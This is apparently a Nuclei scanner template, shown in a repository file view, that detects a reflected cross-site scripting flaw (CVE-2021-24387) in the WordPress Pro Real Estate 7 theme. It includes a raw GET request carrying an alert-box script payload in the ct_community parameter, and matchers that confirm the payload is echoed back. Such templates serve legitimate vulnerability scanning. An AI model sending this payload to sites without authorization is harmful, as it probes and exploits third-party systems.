nuclei-templates/http/cves/2021/CVE-2021-24387.yaml

52 lines
2.1 KiB
YAML
Raw Normal View History

id: CVE-2021-24387
info:
name: WordPress Pro Real Estate 7 Theme <3.1.1 - Cross-Site Scripting
author: suman_kar
severity: medium
2021-08-29 06:47:35 +00:00
description: |
WordPress Pro Real Estate 7 theme before 3.1.1 contains a reflected cross-site scripting vulnerability. It does not properly sanitize the ct_community parameter in its search listing page before outputting it back.
2023-09-06 12:09:01 +00:00
remediation: |
Update WordPress Pro Real Estate 7 Theme to version 3.1.1 or later to mitigate the vulnerability.
reference:
- https://cxsecurity.com/issue/WLB-2021070041
- https://wpscan.com/vulnerability/27264f30-71d5-4d2b-8f36-4009a2be6745
- https://contempothemes.com/wp-real-estate-7/changelog/
- https://nvd.nist.gov/vuln/detail/CVE-2021-24387
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24387
cwe-id: CWE-79
epss-score: 0.00145
epss-percentile: 0.50151
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:contempothemes:real_estate_7:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: contempothemes
product: real_estate_7
2023-09-06 12:09:01 +00:00
framework: wordpress
2023-07-11 19:49:27 +00:00
tags: cve,cve2021,xss,wordpress,wpscan
http:
- raw:
- |
GET /?ct_mobile_keyword&ct_keyword&ct_city&ct_zipcode&search-listings=true&ct_price_from&ct_price_to&ct_beds_plus&ct_baths_plus&ct_sqft_from&ct_sqft_to&ct_lotsize_from&ct_lotsize_to&ct_year_from&ct_year_to&ct_community=%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&ct_mls&ct_brokerage=0&lat&lng HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
matchers-condition: and
matchers:
- type: word
2023-07-11 19:49:27 +00:00
part: body
words:
- '<script>alert(document.domain);</script>'
- '/wp-content/themes/realestate'
condition: and
- type: status
status:
- 200
# digest: 4b0a004830460221009a5123d6d182e45eeb6a630381fb4fca1d1825ceed16dc6ed3148a08e57e3d8302210095be4ca3eb33a5d73fe8ec51bd8aa0bd41336fd427d0067ed5972fb81207501c:922c64590222798bb761d5b6d8e72950